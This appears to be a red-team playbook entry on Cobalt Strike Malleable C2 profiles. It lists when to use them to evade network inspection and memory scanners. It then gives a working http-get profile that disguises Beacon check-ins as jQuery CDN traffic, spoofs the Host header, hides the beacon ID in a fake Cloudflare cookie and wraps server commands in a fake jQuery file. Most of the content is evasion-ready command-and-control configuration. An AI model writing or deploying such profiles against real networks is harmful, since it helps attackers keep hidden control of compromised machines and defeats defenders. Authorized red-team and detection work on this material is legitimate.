cobalt-strike-malleable-c2

Cobalt Strike Malleable C2 Profiles

When to Use

• During high-tier Red Team operations where the target organization possesses advanced Network Traffic Analysis (NTA) or Deep Packet Inspection (DPI) firewalls (e.g., Palo Alto, Fortinet).
• When attempting to blend persistent Beacon traffic into the target environment's native noise (e.g., disguising C2 traffic as continuous Windows Defender telemetry or Google Analytics polling).
• To actively disable and evade in-memory scanning frameworks (e.g., Hunt-Sleeping-Beacons) by utilizing profile features like sleep_mask and allocator.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Understanding Malleable C2

# Concept: By default, Cobalt Strike Beacons "call home" using a highly predictable cryptographic 
# structure over standard HTTP. Antivirus vendors have perfectly signatured this default behavior.
# A Malleable C2 Profile is a configuration file (.profile) interpreted by the Team Server 
# that completely redesigns *how* the C2 traffic looks in transit and *how* the implant behaves in memory.

Phase 2: Building the HTTP-GET Configuration (Camouflage)

# Concept: We must disguise the Beacon "checking in" for tasks as a harmless user browsing a website.
# Let's disguise the traffic as a user interacting with jQuery on a CDN.

http-get {
    set uri "/jquery-3.3.1.min.js";    ## The beacon requests this specific file
    
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Host" "code.jquery.com";   ## Domain Fronting or spoofing Host header
        header "Referer" "http://code.jquery.com/";
        
        metadata {
            base64url;
            prepend "__cfduid=";
            header "Cookie";            ## The Beacon hides its unique ID inside a fake Cloudflare cookie
        }
    }
    
    server {
        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        
        output {
            base64;
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n\n";
            append "\n// End of jQuery code";
            print;                      ## The Team Server hides its encoded commands inside a fake jQuery script
        }
    }
}